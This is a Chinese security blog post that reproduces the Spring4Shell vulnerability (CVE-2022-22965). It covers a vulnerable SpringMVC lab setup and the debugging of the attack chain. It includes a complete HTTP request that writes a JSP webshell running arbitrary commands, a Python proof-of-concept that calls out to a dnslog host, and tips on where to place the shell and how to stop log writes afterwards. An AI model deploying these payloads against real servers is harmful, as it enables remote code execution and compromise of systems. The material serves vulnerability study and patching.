Spring4Shell – CVE-2022-22965(环境搭建及利用思考)

2022-04-08 10,434

Spring4Shell - CVE-2022-22965(环境搭建及利用思考)

攻击者构造了恶意的SpringMVC参数绑定对象数据包,导致系统变量覆盖,获取AccessLogValve 对象并注入恶意字段值触发 pipeline 写入shell文件。


影响范围:

  • spring-beans版本5.3.0 ~ 5.3.17、5.2.0 ~ 5.2.19

  • JDK 9+

  • Apache Tomcat

  • 传参时使用参数绑定


一、SpringMVC环境搭建

idea中创建SpringMVC项目

image-20220403234121642.png

勾选Spring Web依赖

image-20220403234827814.png

添加SpringMVC框架

image-20220406102633360.png

image-20220406102342908.png

配置 web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
        version="4.0">
   <servlet>
       <servlet-name>springMVC</servlet-name>
       <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
       <!--如果不配置contextConfigLocation,默认加载的是/WEB-INF/servlet名称-serlvet.xml(springmvc-servlet.xml-->
       <init-param>
           <param-name>contextConfigLocation</param-name>
           <param-value>WEB-INF/springMVC.xml</param-value>
       </init-param>
       <load-on-startup>1</load-on-startup>
   </servlet>
   <servlet-mapping>
       <servlet-name>springMVC</servlet-name>
       <!-- 所有请求将被拦截,包括静态文件,所以需要放行 -->
       <url-pattern>/</url-pattern>
   </servlet-mapping>
</web-app>

配置 springMVC.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:context="http://www.springframework.org/schema/context"
      xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
   <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" />
   <bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" />
   <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
   <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/>
   <context:component-scan base-package="com.example.spring4shell.controller"/>
</beans>

pom.xml 引入漏洞组件,并指定到受影响版本 spring-beans:5.3.17 >= version

<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-beans</artifactId>
   <version>5.3.17</version>
</dependency>

代码如下(参数绑定功能)

package com.example.spring4shell.controller;

import com.example.spring4shell.modle.Person;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class RunController {
   @RequestMapping("/run")
   public String Run(Person per){
       return per.getName();
   }
}
package com.example.spring4shell.modle;

public class Person{
   private String name;
   private int age;

   public int getAge(){
       return age;
   }

   public String getName(){
       return name;
   }

   public void setAge(int age){
       this.age = age;
   }

   public void setName(String name){
       this.name = name;
   }
}

配置 tomcat 以该方式启动

image-20220406114421753.png

接口成功被调起运行

image-20220406115223677.png

二、漏洞利用

数据包如下,请求该接口,生成 shell.jsp 小马

POST /run HTTP/1.1
Host: 172.20.12.110:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
suffix: %>
prefix: <%
Content-Length: 676

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=./webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

访问小马地址,执行命令成功

image-20220407124817403.png

三、Debug攻击链

JavaBean是一种规范,JavaBean属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。

如下,JavaBean会认为你有4个成员变量id name pass class

public class Test {
   private String id;
   private String name;

   public String getPass() {
       return null;
   }


   public String getId() {
       return id;
   }

   public void setId(String id) {
       this.id = id;
   }

   public String getName() {
       return name;
   }

   public void setName(String name) {
       this.name = name;
   }
}

在Java中所有的对象都会默认继承Object基础类;如未赋值 stopClass 会使得访问该类的同时访问到Object.class,所以会找到 class 属性。

BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)

springMVC传进参数进行数据绑定的时候存在变量覆盖问题,当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。CVE-2010-1622之前的补丁,class.classLoader危险函数过滤掉了,Java9可以用class.module.classLoader调用,恰好绕过。

image-20220406231529696.png

利用Tomcat的AccessLogValue,写日志方式getshell https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}i小马代码%25{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=./
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

BeanWrapperImpl#getLocalPropertyHandler处下断点,循环读取出key值

image-20220407101941285.png

AbstractNestablePropertyAccessor#processLocalProperty,获取value值

image-20220407110655657.png

BeanWrapperImpl#setValue,将value写入日志

image-20220407111018539.png

四、POC

公众号回复 spring4shell 获取poc下载地址

python3 CVE-2022-22965.py http://127.0.0.1:8080/接口地址  dnslog.com

context中configFile属性可发出http请求,可通过dnslog断漏洞是否存在

import requests
import sys

head = {
   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
   'Accept-Encoding': 'gzip, deflate',
   'Accept': '*/*',
   'Connection': 'close',
   'Content-Type': 'application/x-www-form-urlencoded',
   'Content-Length': '263',
}

def exec():
   data = 'class.module.classLoader.resources.context.configFile=http://' + log + '&class.module.classLoader.resources.context.configFile.content.config=config.conf'
   try:
       requests.packages.urllib3.disable_warnings()
       urls = requests.post(url,headers=head,data=data,verify=False)
       if urls.status_code == 200:
           print("ok")
   except requests.exceptions.ConnectionError as e:
       print(e)

if __name__ == '__main__':
   try:
       url = sys.argv[1]
       log = sys.argv[2]
       exec()
   except Exception:
       print("CVE-2022-22965.py http://127.0.0.1:8080/接口地址  dnslog.com")

QA

1. springboot为什么不受影响?

springboot里的classloader叫appclassloader,虽然能变量覆盖,但没有利用链。

2. 如何突破只能写一次日志文件的限制?

在复现时发现每次启动项目只能写一次文件,解决这个问题方法可以修改fileDateFormat期日参数,可修改任意字符XXX,最后保存的文件名为shellXXX.jsp。

3. 如何找到路径写webshell

./webapps/系统项目名/   写入当前项目中。

./webapps/ROOT/       tomcat默认web目录。

./webapps/xxx/        如上传目录不存在,则会创建新目录,通过/xxx/shell.jsp访问

4. 写入shell后会不断有日志写入

使用关闭写入日志payload

class.module.classLoader.resources.context.parent.pipeline.first.enabled=false


修复方案:https://mp.weixin.qq.com/s/P-NEJzUUjIyemkSe_RbicQ

公众号回复 spring4shell 获取poc下载地址

640-1024x482.png



本文作者:baothe

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/176618.html

Tags:
评论  (0)
快来写下你的想法吧!

baothe

文章数:1 积分: 0

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号